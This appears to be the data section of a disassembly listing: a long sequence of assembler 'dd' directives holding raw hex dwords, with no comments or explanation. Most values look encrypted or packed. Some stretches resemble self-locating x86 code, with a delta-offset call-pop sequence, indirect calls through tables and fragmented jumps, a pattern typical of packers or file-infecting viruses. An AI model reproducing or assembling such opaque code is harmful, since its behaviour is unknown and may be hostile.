dd 18ED7508h, 7316767Bh, 7109DCF5h, 0BAF4F99Ch, 1DA2432Bh
dd 6D6A730Fh, 8CE05CB7h, 19A27312h, 7E27CEA3h, 0C4841398h
dd 9CDAD8A3h, 8AE068Ch, 0BEF1646Fh, 0E6D59709h, 6D2D20C8h
dd 0E9000007h, 12E7E50Ah, 81147881h, 3386CAEFh, 0A3365A5Bh
dd 0CDA725CEh, 0EB34412h, 8223F75Ah, 10997BCEh, 0E106E97Ch
dd 74D4D2E3h, 710563DBh, 2ADC9F21h, 31B65A43h, 0B85F22AAh
dd 4EF65537h, 0C2AD401Ah, 0B9169C9Dh, 1775C048h, 0C25BEFA9h
dd 59770EADh, 0EAD58F1h, 1E31A477h, 0BEC6ED4Bh, 0B9996D0Eh
dd 144h, 8C6C013Ah, 15F88D6Bh, 8215F890h, 9CCCF185h, 0F6B27F03h
dd 0C857E00Ch, 35406F7Dh, 792FFBB7h, 37751165h, 830028A0h
dd 81710B65h, 821B2FE9h, 0FE710B65h, 65A98D6Bh, 69C36973h
dd 356693h, 0B1540000h, 0D98CDCE1h, 85F0E063h, 4DFF4B67h
dd 0C37511FFh, 0EA8B5A14h, 0FB036BC1h, 710BDF5Eh, 432276AAh
dd 7D4E1C90h, 75F3B3D8h, 69C7364Eh, 0B03193h, 2A420000h
dd 472AA243h, 0F25F09B2h, 44F29A1Bh, 0F025BE8Ah, 0CC9B770Eh
dd 757A1D70h, 0BE31C717h, 0CE3770Eh, 0BFCAE5EBh, 3ECF8921h
dd 52375156h, 39E7F6D6h, 0B259750Ch, 797E11F4h, 881A96Fh
dd 747108F2h, 0E09E1AE1h, 0F0B14726h, 97F29A1Fh, 46054008h
dd 0DCB10FB4h, 4FD2B63Bh, 536E01AAh, 86E0DA2Bh, 62A6BE6h
dd 4D2C0000h, 0C45124A8h, 32C4A93Fh, 9E76DB89h, 11E64B19h
dd 0CF0EE4E8h, 9FCDF69Bh, 341660Ah, 0B1D7DCBEh, 20A4492Ch
dd 98311991h, 0E4710561h, 452A9754h, 0B24528BCh, 0DEEDCFC7h
dd 0E09EDF77h, 0EBACF48h, 0D3BE2D77h, 432AC6BDh, 916104A2h
dd 93697C6Ch, 899A3DFBh
dd 581FEA95h, 0D8BFD2AEh, 275CB1D7h, 0E7000000h, 2AA2432Ah
dd 20F7B047h, 87129367h, 533580C5h, 0EC6B2CEAh, 2BD715FBh
dd 14387CF8h, 563ABB52h, 2CB3h, 432AC200h, 287DD768h, 61CC7265h
dd 8341DF67h, 1EF3770Eh, 896EF395h, 83A16860h, 5315FF5Fh
dd 8FD9DEB2h, 365A5EDAh, 7014997Ch, 0A2432A03h, 0F4F29D2Ah
dd 6E1C6EBAh, 0BB757508h, 6DB02901h, 590C7105h, 56DD64Fh
dd 0C1BF2A71h, 0A83D75E0h, 0E78620C5h, 7E12EE0Fh, 0C7E304EBh
dd 0CDAB5026h, 617F0ABDh, 0EBB2E149h, 0FB6E6EFEh, 8C6005BFh
dd 15F88D6Bh, 0EF6EE743h, 7D2770Eh, 0AE41D4B8h, 34D95F09h
dd 5C094364h, 8E2C57E0h, 74791DF0h, 0FE7A7F11h, 0ED5A68C0h
dd 2EBF7511h, 33B45849h, 27A10C59h, 0B2EFC6A2h, 5E465F2Dh
dd 7B3A8127h, 0E0DCC05Ah, 0E50AC7A7h, 61000004h, 0EA7F6D92h
dd 19ECE009h, 8B1E7277h, 3B8EC2E3h, 0B53FAD56h, 0B63BDC8Ah
dd 0AAB4FD2h, 9821F346h, 698E61F4h, 0CC5C5A7Bh, 71056053h
dd 2A6407A9h, 702EA243h, 7AF6FB9Dh, 6D7F8017h, 80C8ED80h
dd 0B5CD1103h, 118FDDE2h, 0FD8EFC4Eh, 5DDB89F0h, 6CCE4E56h
dd 500999h, 0F0AA0000h, 0FF4B6785h, 7511AB4Eh, 0A15B17C2h
dd 288429CCh, 5E32B745h, 456A0DE0h, 0C2EA4603h, 710BA347h
dd 0DD951AFDh, 0EA466B08h, 0A2751886h, 0A21E4B1Dh, 0ED4E2DCFh
dd 0DA73D718h, 26710AFDh, 9EDBEEB3h, 88450792h, 440h, 70791FEEh
dd 432A7FF4h, 0B0472AA2h, 632E590Fh, 471D2D45h, 0C5751200h
dd 31AE7616h, 0FF710BE0h, 11B1D41h, 0FE936A3Eh, 50h, 0AD85F079h
dd 9C9EBC13h, 852ECFB8h, 663B86C3h, 1DCD3A5Ch, 0AFCB56B7h
dd 1171E99Bh, 98F06775h, 0B51D370h, 0BFE35171h, 94950BCCh
dd 0F0E9D91Ch, 2E354F74h, 9F6E936Ah, 8D0622FAh, 0F3710BC8h
dd 62CF9964h, 67626A8Bh, 0FF3E1C98h, 0B9000000h, 4A2432Ah
dd 918E61h, 0F8906CFBh, 9CAC8415h, 770EF103h, 6B079279h
dd 0F10099B1h, 0E97C770Eh, 0FF967B13h, 6C03EEFEh, 0DFF5054Bh
dd 11770EEDh, 0CCF1817Eh, 6E62C99Ch, 99F3F49Bh, 0D5CFA3EEh
dd 5202D4C8h, 0EAA4C2A9h, 0E23C55Eh, 0D0AC3B77h, 4184B296h
dd 9FF27511h, 7B69F4FDh, 0D870414Ch, 710B023Fh, 2D54EDAh
dd 0BC2B710Bh, 4F6BF665h, 8B2E6FBh, 0FBB7226Fh, 7DCD8741h
dd 770892E4h, 29B8D58h, 7E770893h, 0ED16E4EBh, 7F12EEFBh
dd 0EE73119Ah, 0DB402A09h, 0C5BB6221h, 0B46C477Eh, 9971E6D9h
dd 31B44h, 5B5C3F00h, 2ED3A035h, 0B841D7BAh, 8AD41D4h
dd 9B20F144h, 0EAC07FF5h, 5E8FC05h, 891C7075h, 3F82C6EBh
dd 60315758h, 5E890226h, 45F77105h, 44452AA6h, 0D44DDDB3h
dd 28770EF0h, 54BD6BDh, 8029CA9Bh, 42279DC8h, 9B20F2ABh
dd 0B85B2BC6h, 0D6BD08F6h, 5E01C1B2h, 7782C421h, 0DBA3633h
dd 3444AE82h, 8BDA1E25h, 99BF2536h, 0D8A7323Dh, 852ECF9Eh
dd 6C2A86C3h, 11022ADCh, 4BFFA075h, 8894AAF2h, 742E48D7h
dd 0B6D3BD4h, 4A228171h, 0DBA623A5h, 68E50D5Dh, 0A4710B6Dh
dd 384C5478h, 379369CFh, 0F9h, 8C6C0140h, 62FB4F6Bh, 0DE770EF0h
dd 35D8AD0Bh, 0B61DA648h, 0E5A64BD6h, 0ECF99318h, 0A9BF4701h
dd 2B770EEDh, 6607A344h, 697C6C95h, 836AFF93h, 325D6A62h
dd 0ECCBAA4Ch, 9D7D56Dh, 0EEFBED78h, 0F3AD6703h, 6F797E12h
dd 0EDB9527Ah, 5007770Eh, 0AC6F4D4h, 0A1347512h, 6E936409h
dd 0C6B1FE92h, 3D48E28h, 0F8E5DA8Ch, 2505E3EAh, 6F093B0Fh
dd 0CDA0DE8Dh, 712F852Ah, 6A0EFB9Ch, 4C0CED8Fh, 92799C32h
dd 1BFC4107h, 3F06565Ch, 750AECA1h, 8976C41Bh, 2A45D017h
dd 0E6D9C7B5h, 0D1498464h, 75000001h, 0FE4301A6h, 6DF0941Dh
dd 9F62668Bh, 0F92F6F7h, 0A103416Ah, 0AA4F2076h, 3EBF5326h
dd 8C35C7AAh, 1DA275D8h, 0D870364Fh, 71055D3Fh, 2A680BBDh
dd 6302BC45h, 0FF936992h, 99B1836Ah, 770EF100h, 3E4CB502h
dd 587B1AD0h, 0D788268Dh, 49B668D7h, 70149067h, 0A2432A03h
dd 0FB0472Ah, 9C21F459h, 2AD0BBCCh, 9BD7A243h, 11EA318Fh
dd 9AAE6875h, 710BE201h, 350CE87Fh, 87BD26A6h, 556F3053h
dd 0DB3ED470h, 0EB82E75Dh, 471886CAh, 3D94A515h, 57E05C0Fh
dd 58F08E2Ch, 6F0EEE9Eh, 5C31491Ch, 0CD46E2BAh, 33770EDEh
dd 0B63D9A4h, 3FD6CFA6h, 2CBB2EBEh, 0EB3FF5BCh, 2A059578h
dd 0BA905C13h, 0EE4AD154h, 0FEB83641h, 206BE444h, 0D5AF770Eh
dd 0F010D4AFh, 77CD98BBh, 6B571139h, 76E57511h, 2DC1A412h
dd 9D7DC088h, 52378D18h, 0CF523ABBh, 1BEA842Dh, 94F47079h
dd 0C981D5EFh, 0A4C38126h, 0FC9FDBD9h, 0F80310E2h, 0E71EA336h
dd 53794457h, 0BE8AC4A0h, 6F0E3D40h, 0B7616BFEh, 1BBC45D6h
dd 398EB39h, 0BFD2AE67h, 0CEB5D7D8h, 22C3A2F6h, 5024AB50h
dd 0CCA83DAFh, 0DC9A1863h, 11C9EE4Ch, 0CB994C75h, 3B19D1BCh
dd 4E4866D7h, 30EA8413h, 0BC38BD5Dh, 4BD126Ch, 2BBD286Fh
dd 5A0EAF46h, 0CD9F20F7h, 0EAD6CC25h, 8F5E1882h, 5569C7E8h
dd 0EB836201h, 0D6983119h, 71E462FAh, 0EE0FE7EAh, 17987F12h
dd 0E409EC71h, 0BC5332E4h, 4428BD3Bh, 0B24429A3h, 1BF25F09h
dd 31A55050h, 836EE8CDh, 0B6DA5AC9h, 16F7A704h, 786D7F84h
dd 0D294B8FCh, 69FCBA3Bh, 7C696388h, 7619EC80h, 0DFA1771h
dd 79000000h, 9D8E6C01h, 0F590F8FDh, 0DDD6926Eh, 26A6472Ah
dd 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h, 5476C0Dh
dd 0B9D3D4B8h, 2FB942D4h, 4008B142h, 6A75680Bh, 0C890000h
dd 59086824h, 1C890000h, 68266824h, 4890000h, 84046824h
dd 1C8B0609h, 4C48324h, 24048B54h, 5104C483h, 8BF57h, 0F9890000h
dd 89C1015Fh, 34FF5919h, 0C4815824h, 4, 50241C8Bh, 405E089h
dd 5000000h, 4, 5C240487h, 0F9E7B4E9h, 0DDD55BFFh, 55B8F73Ah
dd 3060995h, 76E0FFC5h, 1421C8EAh, 0A91566CFh, 1757525Ch
dd 0FA70CB83h, 0F5B6EE4h, 863902E8h, 0B3396E80h, 554E88B8h
dd 54549827h, 0F913914Ch, 56336A4Ch, 0C00725D2h, 324E3ABBh
dd 0F1C6B4Bh, 4E091380h, 894E2948h, 950852EAh, 0CA2A7CA1h
dd 5735AC12h, 0D018100h, 843D47D3h, 221E22C4h, 31416A67h
dd 971DDE6Eh, 237D7DBBh, 3C4491BDh, 0A4180EFEh, 0E93DAAC9h
dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 609963Dh, 3D08428Bh
dd 78263845h, 138850Fh, 428B0000h, 184A8B0Ch, 3BBBC8D3h
dd 3397D63Ah, 4E883C3h, 31D18589h, 588B0603h, 8BF88B04h
dd 4A8B1042h, 0BEC8D318h, 8FB1BC33h, 0C72BC633h, 83FCE083h
dd 858904E8h, 60301E1h, 8914428Bh, 321BD85h, 18428B06h
dd 0B0E953h, 0B5FF0000h, 6031CF1h, 0B9E9h, 0E9B5FF00h
dd 0E9060313h, 0AEh, 21ADB5FFh, 0A3E90603h, 0FF000000h
dd 32961B5h, 98E906h, 0B5FF0000h, 60323C5h, 8DE9h, 5DB5FF00h
dd 0E9060323h, 82h, 2221B5FFh, 77E90603h, 0FF000000h, 321D9B5h
dd 6CE906h, 0B5FF0000h, 60322F9h, 61E9h, 0A9B5FF00h, 0E9060330h
dd 56h, 324DB5FFh, 4BE90603h, 0FF000000h, 31A15B5h, 40E906h
dd 0B5FF0000h, 60310CDh, 35E9h, 31B5FF00h, 0E906031Ah
dd 2Ah, 1375B5FFh, 1FE90603h, 0FF000000h, 30625B5h, 14E906h
dd 0D88B0000h, 0BB8h, 0E3F76600h, 969E8D8Dh
dd 0C8030609h, 95FFE1FFh, 6032691h, 0D1858B5Bh, 39060331h
dd 850F0458h, 0Fh, 0FF016A53h, 31FB995h, 0E2E95B06h, 61FFFFFFh
dd 5A61C35Ah, 0D4C96AB8h, 8BE0FF77h, 3128585h, 8C8D8D06h
dd 89060997h, 0C38B0141h, 98FB8D8Dh, 6A0609h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0DCADA1C3h
dd 0A330454Ch, 0D18D8955h, 6A060331h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F529C355h
dd 9CF791CFh, 0CB4BE497h, 0B232BF66h, 88C0Fh, 8F0F0000h
dd 2, 85C7C6B4h, 60301E1h, 6190h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 92C35141h, 12E8h, 56787600h
dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 0FD787DFh, 68Dh
dd 4EC28100h, 5A68B2D3h, 9860Fh, 810F0000h, 3, 0C7F88B66h
dd 321BD85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 54D1D316h, 6F5CC845h
dd 0ACD9D03h, 0D2810603h, 64BBC85Dh, 23C5B5FFh, 6A0603h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 7BA155C3h, 0C34E6944h, 850FE767h, 6, 0C698D89h, 95FF0603h
dd 6032691h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 6CC35040h, 95FF006Ah, 6031FB9h, 39EBC08Bh, 337B3676h
dd 7C1DA9EAh, 0F5A5C5E1h, 670AEBF3h, 880C8204h, 0FF037462h
dd 8E88A82Dh, 9D92654Bh, 6290A168h, 1DE411ECh, 20060809h
dd 583C9784h, 0B5F2D0E0h, 2147A8F2h, 5E86Bh, 39650000h
dd 5E1B3413h, 0E3C0B966h, 628DC681h, 0B8FC0000h, 483AC25Ch
dd 0A9D4E881h, 8A0F483Ah, 3, 0FFA0C180h, 21BD8B36h, 5A060300h
dd 4C7DEA81h, 0BD29632Eh, 6032E49h, 0DA4AC281h, 870F5BE3h
dd 6, 2D1D9D89h, 0F2810603h, 14DC26F1h, 0EFD98166h, 8FF952B0h
dd 7C14BF06h, 0EE830520h, 1E88304h, 0FFB9850Fh, 87BFFFFFh
dd 0E81F3C93h, 7, 11D220C4h, 297278D2h, 32CFD95h, 0BD8B5806h
dd 6031ED1h, 6A69C081h, 0D08A0000h, 890FF62Bh, 2, 1C8B2AB6h
dd 11E830h, 62EF0000h, 4C4173E1h, 1B06C538h, 9E67B48Eh
dd 29B4F912h, 332719Dh, 0EB815F06h, 5BA5EEC5h, 0CA2AC181h
dd 0EB810D37h, 31498CE4h, 0E2B3B966h, 2441EB81h, 896054B7h
dd 31A99BDh, 4AB86606h, 1C896135h, 48A0F30h, 66000000h
dd 8B45CFBAh, 0D0EE81FEh, 667186AAh, 0C681CE8Bh, 7186AACCh
dd 29E1950Bh, 0FE810603h, 0FFFF9634h, 0FF88850Fh, 8B66FFFFh
dd 8EBCAh, 22000000h, 0E90E02C5h, 4EEh, 99B4C68h, 0E2F7E906h
dd 0D268FFF9h, 0E906099Bh, 0FFF9E2EDh, 99D3968h, 0E2E3E906h
dd 0C9A8FFF9h, 40DDA024h, 0AE40D5BBh, 1AF24705h, 8D62F795h
dd 53826064h, 1B497207h, 8FDDE2B6h, 3D53583Ah, 0AC20C5A8h
dd 1CB59515h, 60710557h, 452A13D0h, 0AE412CBCh, 612C5B09h
dd 55032743h, 0C3751208h, 2FAC7414h, 0C1710BC8h, 71DC8C31h
dd 0F44C1CA1h, 1BAA1438h, 0C192F125h, 17FE85E5h, 0CE93F696h
dd 0E9470C2Ch, 695AC2DAh, 31CBD93h, 0EE3E0000h, 0C7E5901Ah
dd 9C99FABh, 68477512h, 0DE986788h, 0BE7F7324h, 0C34DB896h
dd 0B2F50C9h, 4339AC71h, 11B02606h, 8DF8A468h, 81F7536Fh
dd 0FF79AB56h, 3C476068h, 102800BEh, 0AE77AC65h, 7EE7F3Bh
dd 781FE2E6h, 0E55084BDh, 866D2C4Ah, 0B9DD48EFh, 60FD8D1Dh
dd 366h, 7E129366h, 0E3E10AEBh, 1D73781Eh, 8DC3E488h, 3E525738h
dd 3CDD89B4h, 0AC4CD1B7h, 22F0450Bh, 8F66CB99h, 5F5B7A6Eh
dd 55552CBh, 5D1EAE71h, 0ACAD85F0h, 8CD2CDA0h, 3F0A94DFh
dd 0B18A169Ah, 54BC8C2Ah, 0AD750805h, 5BE57F3h, 57027105h
dd 556DF8D9h, 9410DFB0h, 9230F5E0h, 0F5580C9Bh, 37B15524h
dd 0FC05D510h, 0E3B45911h, 0E20A62DEh, 0A5CD59F2h, 0FF908D60h
dd 0FF546FFAh, 21F293Dh, 2E0F76Ah, 19F80000h, 906DF094h
dd 0FE90656Bh, 6A0297F5h, 0DDB20745h, 332B0D4h, 0AB39C257h
dd 0DF8D32C6h, 4D03A84Ah, 0FC9015F8h, 0CC45E5A5h, 30710555h
dd 85F0E380h, 31AD70ADh, 3D88C62Fh, 0B55DA585h, 0C7C37507h
dd 595EA63h, 4C751A71h, 7F3B8655h, 0AE607EEh, 953DDA62h
dd 55CB7105h, 6CB16201h, 0CA1F0592h, 0C5DFE440h, 8293640Ch
dd 1CEh, 0A2432A3Dh, 0F7B0472Ah, 5D339E1Fh, 31496712h
dd 5CEBDF6Eh, 39113AAFh, 770E0EA0h, 6E2491Ch, 1E2AE048h
dd 7DE87511h, 0FE46C36Bh, 5EC2710Ah, 5C162E0Ah, 0F88D9369h
dd 0EEFBED16h, 3D0812h, 0F0AB0000h, 0FF4B6785h, 7511FF4Dh
dd 0EA0FECC3h, 7018E7E2h, 0BDF2BA8h, 8741F971h, 0BDF2AA3h
dd 65C39671h, 0BD5E0D51h, 6EFE0A93h, 0D8EB4145h, 936A1BC4h
dd 46670EDFh, 0C3F0EAh, 2A030000h, 472AA243h, 0BDFFC3B2h
dd 5EF677F6h, 4E1F99F3h, 1C4903A8h, 852ACDA0h, 4D7618EDh
dd 9AF24E1Bh, 3A8491Ch, 0CDA01C49h, 18ED852Ah, 70157778h
dd 794890F4h, 0BB770E88h, 0F2BDD3D4h, 0F9516987h, 750C22EAh
dd 16F7B326h, 75107881h, 6607C1FFh, 917C6C95h, 0F792FAFFh
dd 18F98C68h, 9762836Bh, 0CEE138DBh, 0BBC77042h, 33C4A93Dh
dd 0FC64F78Eh, 0C1A9E0DAh, 1790Ch, 7F801300h, 0F2F78469h
dd 5C650B9Eh, 2CD1A508h, 0BF44D5B8h, 0CE9C5B29h, 79CC8029h
dd 0ED701499h, 13E6EA0Fh, 4C157B7Ch, 5365FE4Ah, 29DB7105h
dd 6F452A4Ah, 0EF042DBh, 5C2BBE77h, 2DD2A508h, 8C6C01BFh
dd 8864616Bh, 9447010Bh, 0E04F7EE6h, 88010B7Ah, 0F4770E7Bh
dd 0FE68B61h, 5538FEEEh, 22473DC2h, 8926AA4Bh, 0CC6E0FEh
dd 7A129779h, 1394786Fh, 3704B595h, 651F7511h, 0BB84CC5h
dd 4F25B071h, 26C7E376h, 36AF7B51h, 8A710BB8h, 7C3670DFh
dd 0BB833ACh, 39118971h, 710BB8A0h, 6E2491Ch, 0B83DDA62h
dd 20F7710Bh, 129E39Fh, 710BB888h, 0E78B61F4h, 3CC15439h
dd 0A74C2D40h, 91B97325h, 710BB8F8h, 61B9144h, 0AAh, 0FE039578h
dd 6C018102h, 0A2566B8Ch, 856F0F4Ch, 741FA804h, 7B0C85A5h
dd 0E570770Eh, 74C8601Eh, 0F2750800h, 93F5FE9Fh, 9C616BF6h
dd 8A0327F9h, 0F6710504h, 4FF98B0h, 0EE7D7105h, 66D0B403h
dd 5039CACh, 92797105h, 1B9C7316h, 3D0DC771h, 710504A4h
dd 0D7F74D18h, 78FFCA99h, 95ADF14Fh, 4E730502h, 0E8FC4B1Eh
dd 354D7205h, 0BC38BD50h, 0C2AD412Ch, 0BE1D1794h, 0E1B2D170h
dd 7B354DD8h, 0C4536AFh, 61DF8A69h, 3E624209h, 786C9164h
dd 0B6741DBEh, 444923D5h, 0CDF285E8h, 8469Bh, 1FD0000h
dd 8B618A6Ch, 472AD4CFh, 0B45B26A6h, 26F45933h, 9266CB9Dh
dd 1967B6Dh, 6C0D90F8h, 0D4B80547h, 42D4B9D3h, 0B1422FB9h
dd 510B4008h, 0BE56E189h, 3E7322F1h, 7E26E681h, 814E5918h
dd 10221BEEh, 5EF10118h, 8704E983h, 515C240Ch, 0C181E189h
dd 4, 8704E983h, 895C240Ch, 0E868243Ch, 89000056h, 0BE562404h
dd 6099A82h, 348BF789h, 4C48124h, 68000000h, 7057h, 81242489h
dd 42404h, 53580000h, 58895B57h, 34FF5B08h, 0C4815824h
dd 4, 5F2434FFh, 0E904C483h, 0FFF9DE15h, 0D7B8F440h, 306099Eh
dd 5DE0FFC5h
dd 613E99EDh, 8A4EC751h, 0C443E636h, 481F6153h, 1257C14Dh
dd 0F362FD03h, 9E50B3DCh, 4619D2ACh, 0F54D4515h, 0E82856BEh
dd 8, 0B8C2131Fh, 7E513FDDh, 0ADEBBA66h, 0DDEB8159h, 81586C9Ch
dd 6797C1h, 0CF816600h, 0BDB81D4Fh, 810FE6F8h, 0E6DEFEE8h
dd 5860F0Fh, 66000000h, 70F6E781h, 0DE8B318Bh, 4E65C681h
dd 81665609h, 817941EFh, 9A470FF6h, 0C681F962h, 67EA3D3Bh
dd 11E856h, 0C0F30000h, 9F146CE9h, 34A2F06Bh, 0C58649A8h
dd 0F97C8344h, 83018F5Fh, 0DC8A04E9h, 12850F48h, 0BB000000h
dd 23D546AEh, 1EE9h, 0A2E2E100h, 76853BEh, 0A5D1BA18h
dd 0A1E96F9Fh, 35FFFFFFh, 0E63F7C33h, 2F28BCC6h, 8D7C26C8h
dd 9A0B48Dh, 0F9850906h, 8B060330h, 3137185h, 0D18D8906h
dd 66060331h, 8BCF681h, 1E185C7h, 6B900603h, 0EE90000h
dd 13000000h, 63BF4144h, 0E5A46A3Dh, 7B05F1C6h, 0BD85C738h
dd 60321h, 89000000h, 320BD85h, 0E9B5FF06h, 89060313h
dd 3315D8Dh, 0D99D8B06h, 0FF060320h, 3269195h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 3A9AB52Ah, 0DFED5A6Eh, 0FF006AFCh, 31FB995h, 0EBC08B06h
dd 70A8B1Eh, 56A0866Ah, 8F1E9869h, 3E6A6F0Bh, 9E806394h
dd 0F1509EF5h, 0B74DA1EFh, 0E8349003h, 8, 8DAA9417h, 67CBE14Ah
dd 9364BE66h, 11D28159h, 811313EFh, 74F4C1h, 2D8D8900h
dd 0BB06031Dh, 0
dd 0ECEF781h, 34FF32B8h, 0CDBD290Bh, 58060331h, 5999589h
dd 0F0810603h, 295AFAF6h, 11E9h, 43C7CC00h, 18899BF9h
dd 8815BE0Ch, 0BDF4C395h, 0F08164D7h, 46EA316Ah, 6E9h
dd 0A9168900h, 8180B471h, 9B98AFC0h, 0A1B50B69h, 50060303h
dd 19048FFCh, 6E9h, 54ECF700h, 896D6176h, 3065D8Dh, 4EB8306h
dd 8BA0FB81h, 850FFFFFh, 0FFFFFF92h, 12E8h, 2E360300h
dd 83EC34C6h, 22D84564h, 3FF8133Dh, 918C582h, 312B595h
dd 8B665E06h, 4C681D0h, 66000070h, 0E3B8CB8Bh, 8B00001Bh
dd 0E98D8B1Eh, 8106030Bh, 0BC2B9EC3h, 18D2943h, 81060322h
dd 433261C3h, 54F8BF61h, 0EB81616Fh, 2E5C3985h, 1E51958Bh
dd 1E890603h, 0E5BD8B51h, 5A06032Dh, 0BA04EE83h, 168D3ABEh
dd 1E881h, 850F0000h, 0FFFFFFB7h, 3860Fh, 0B70F0000h, 0FE8FEh
dd 509D0000h, 8DE23AA6h, 49403592h, 0E745DDEEh, 9DBD8936h
dd 5906031Ch, 1A498D89h, 0C1810603h, 5919h, 0CE8h, 29A65100h
dd 0C3E1D250h, 112EDB20h, 0CFBE6696h, 57B85A48h, 814B96B7h
dd 96A140F0h, 66198B4Bh, 81F040BAh, 96053EEBh, 53CE8170h
dd 8115C50Ch, 911B28C3h, 0E1BE660Bh, 51EB8110h, 8B5853E0h
dd 32BD5BDh, 8B665306h, 0F9018FD6h, 6A70E981h, 66BF5C2Ah
dd 8123C5D6h, 2A6A6CC1h, 0EE95Ch, 0C5D00000h, 647F5B2Eh
dd 0E3A4E8C1h, 7F957C6h, 0F01E883h, 1285h, 55B58B00h, 0E9060302h
dd 17h, 59A143AFh, 3314FB1Bh, 31CAD95h, 0FF87E906h, 0C23EFFFFh
dd 8B04AAF5h, 39BD83C0h, 60310h, 0BD830975h, 603111Dh
dd 50197400h, 0B8C08B53h, 421h, 17758589h, 9D8D0603h, 605B091h
dd 585BD3FFh, 111DBD83h, 74000603h, 0B8535017h, 421h, 17758589h
dd 9D8D0603h, 605AD80h, 585BD3FFh, 9D8BC08Bh, 6030121h
dd 2F3985C6h, 68560603h, 9CA8B852h, 28C9B5FFh, 858D0603h
dd 60673BCh, 46AD0FFh, 100068h, 21B5FF00h, 6A060328h, 85D0FF00h
dd 0D850FC0h, 0B8000000h, 0
dd 72878D8Dh, 0E1FF0603h, 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh
dd 8DBD83D3h, 6031Fh, 0E840Fh, 9D8B0000h, 6031F8Dh, 0CAD858Bh
dd 3890603h, 858D5251h, 603418Dh, 0FA8BD0FFh, 0D18BF18Bh
dd 0A4F3C88Bh, 2F3985C6h, 68560603h, 0D41F6D39h, 28C9B5FFh
dd 858D0603h, 60673BCh, 68D0FFh, 6A000080h, 0D0FF5200h
dd 0BD83C08Bh, 6031039h, 83097500h, 3111DBDh, 19740006h
dd 0C08B5350h, 421B8h, 91858900h, 8D060323h, 5B0F89Dh
dd 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 421B8h, 91858900h
dd 8D060323h, 5AD999Dh, 5BD3FF06h, 8DC08B58h, 31F8D9Dh
dd 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h, 41B81889h
dd 0E800004Bh, 0Dh, 0CBE583FBh, 0AB312E3Bh, 0B139639Bh
dd 13850F8Dh, 0E9000000h, 0Eh, 837732Fh, 6B20B14h, 75F0340Ah
dd 6059F88Fh, 12E9h, 3C9D7E00h, 3E6C0B1Eh, 3E7C8A6h, 21A6D9C0h
dd 6631F214h, 6169EEB9h, 6120C181h, 8E0F0000h, 2, 0F9BF62B7h
dd 0B8000017h, 17749C07h, 0C68B318Bh, 0C402EE81h, 810F73F7h
dd 4, 0F733BB66h, 9867C681h, 81667215h, 812D16E2h, 73828CC6h
dd 0C18B6639h, 6E856h, 852B0000h, 4395080Eh, 13E9h, 2DEBFC00h
dd 7726A59Ch, 848F31CAh, 0A9F29C24h, 3E34FF5h, 0B0018F58h
dd 0E98132h, 0F471B12h, 118Ah, 0AE800h, 0BFF40000h, 4BD77AFCh
dd 6DB7177Ch, 0C18158F9h, 471B11FCh, 14E8h, 61B14500h
dd 0B406796h, 0E2F2775Eh, 60A34D55h, 0F62C2BE2h, 9E85Fh
dd 1EA50000h, 0C8310D32h, 573F9F08h, 8158585Ah, 1EFh, 13850F00h
dd 8A000000h, 32E9FAh, 31AB0000h, 547760BEh, 0E45DDE53h
dd 0EE91999h, 0CE000000h, 0A121DD32h, 3EBE470Fh, 89B72380h
dd 0FF2AE91Ch, 1777FFFFh, 3C117408h, 8C41B332h, 0DC416323h
dd 0A6498D8Dh, 6A0609h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 0F284DDC3h, 2776EC1h, 0DFBB66FFh
dd 0D18D89AFh, 89060331h, 322799Dh, 0E185C706h, 38060301h
dd 31000062h, 30F59B5h, 0BD85C706h, 60321h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 0BDBEC357h, 0E9B5FF29h, 6A060313h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0FDECC353h, 45CD2C38h, 0F281797h, 686h, 0C5B58900h
dd 2B060303h, 312B1B5h, 9195FF06h, 6A060326h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 0AC2C352h, 0D6DC4FA8h, 0CD7D3D5Ch, 3065B589h, 6A0603h
dd 1FB995FFh, 0C08B0603h, 0BBC61EEBh, 37725348h, 0F4659D11h
dd 47D8500Fh, 0DFBF8D11h, 37ACE145h, 8973291Bh, 9FB02FC0h
dd 75FDED55h, 76F67A5Eh, 56E669A4h, 7BFD49BCh, 0D9FD20ACh
dd 1EFD2083h, 7CFD2094h, 6EFD201Ch, 44FD20D9h, 2DFD203Bh
dd 2FD204Ah, 0F9FD20F2h, 24FD20AEh, 0FDFD2083h, 56FD2094h
dd 0B3FD201Eh, 90FD20D9h, 7DFD203Bh, 39FD2049h, 8DFD20F0h
dd 9DFD20ADh, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh
dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh
dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A7772Bh
dd 75A777A3h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h
dd 0F0701ABCh, 73F4D0DAh, 0D346FFA6h, 0F0707C9Eh, 73F4D051h
dd 0D386FF6Ch, 0F0707CFBh, 73F4D0A1h, 0D34AFF35h, 0F0707C57h
dd 73F4D017h, 0D382FF1Eh, 0F0707CC2h, 73F4D312h, 0D37EFF7Bh
dd 0F0707C70h, 73F4D229h, 0D37AFFD7h, 0F0707C26h, 73F4D230h
dd 0D376FF42h, 0F0707CECh, 73F4D24Fh, 0D372FFF0h, 0F0707CB5h
